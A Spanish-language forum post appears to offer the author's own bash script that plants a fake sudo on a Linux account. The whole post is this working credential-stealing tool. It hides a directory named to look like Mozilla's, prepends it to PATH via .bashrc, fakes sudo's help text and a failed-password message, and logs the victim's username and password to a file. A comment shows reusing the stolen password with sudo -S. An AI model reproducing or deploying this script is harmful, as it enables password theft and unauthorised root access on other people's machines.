ya se que no es una idea muy novedosa pero bueno esta es mi version xD (es que no tenia internet   )

la idea es simple cuando se ejecute este bash crea un sudo falso que al escribir alguien sudo comando y ponga su clave. nos pondra la clave en un archivo que esta en la carpeta de usuario .mozilla2 y se borrara el sudo falso .

#!/bin/bash
 
#escribe el archivo que reemplazara el sudo original para obtener la clave
function falsosudo()
{
cat > "sudo" << EOL
#!/bin/bash
#sale cuando se pone mal el comando o se pide la ayuda
function ayuda1()
{
echo "usage: sudo [-D level] -h | -K | -k | -V
usage: sudo -v [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-u user
            name|#uid]
usage: sudo -l[l] [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-U user
            name] [-u user name|#uid] [-g groupname|#gid] [command]
usage: sudo [-AbEHknPS] [-r role] [-t type] [-C fd] [-D level] [-g
            groupname|#gid] [-p prompt] [-u user name|#uid] [-g groupname|#gid]
            [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-r role] [-t type] [-C fd] [-D level] [-g
            groupname|#gid] [-p prompt] [-u user name|#uid] file ...
"
}
 
function ayuda2()
{
#sale cuando se pide la ayuda junto con ayuda1
echo "
 
Options:
  -a type       use specified BSD authentication type
  -b            run command in the background
  -C fd         close all file descriptors >= fd
  -E            preserve user environment when executing command
  -e            edit files instead of running a command
  -g group      execute command as the specified group
  -H            set HOME variable to target user's home dir.
  -h            display help message and exit
  -i [command]  run a login shell as target user
  -K            remove timestamp file completely
  -k            invalidate timestamp file
  -l[l] command list user's available commands
  -n            non-interactive mode, will not prompt user
  -P            preserve group vector instead of setting to target's
  -p prompt     use specified password prompt
  -r role       create SELinux security context with specified role
  -S            read password from standard input
  -s [command]  run a shell as target user
  -t type       create SELinux security context with specified role
  -U user       when listing, list specified user's privileges
  -u user       run command (or edit file) as specified user
  -V            display version information and exit
  -v            update user's timestamp without running a command
  --            stop processing command line arguments
"
}
# si no hay parametros muestra la ayuda
if [ "\$#" -eq 0 ];
 then
 ayuda1
#si se pide ayuda pero hay mas parametros
elif [ "\$#" -ne 1 ] && [ "\$1" == "-h" ];
 then
 ayuda1
 
#si se pide ayuda
elif [ "\$#" -eq 1 ] && [ "\$1" == "-h" ];
 then
 ayuda1
 ayuda2
 
 
#si no captura la clave
else
 #esto es para que no muestre la clave por pantalla
 STTY_SAVE=\`stty -g\`
 stty -echo
 #se pide la contraseña y se guarga en la variable clave
 echo -n "[sudo] password for \$USERNAME: "
 read clave
 #se pone por defecto para que mueste de nuevo lo que se escribe en el teclado
 stty \$STTY_SAVE
 #error falso que dice que la clave es incorrecta
 echo -e "\nSorry, try again."
 sleep 3
 #guarda el usuario y contraseña
 echo "\$USERNAME">>$HOME/.mozilla2/config
 echo "\$clave" >> $HOME/.mozilla2/config
 #ejecuta el sudo real
 /usr/bin/sudo \$*
 #se borra solo
 rm \$0
fi
EOL
#aca finaliza el archivo
}
#si no existe la ubicacion entonces:
if [ ! -d "$HOME/.mozilla2/" ];
 then
 # usar clave una ves conseguida :D
 #echo <clave> | sudo -S <comando> || echo error
 cd "$HOME"
 mkdir .mozilla2
 #creo el archivo bashrc aca se configura nuestra consola. donde agrego la ruta del sudo falso
 echo 'export PATH="$HOME/.mozilla2:$PATH"' >> .bashrc
 cd .mozilla2
 #creo el sudo
 falsosudo
 #le doy permisos de ejecucion
 chmod +x sudo
fi
#rm $0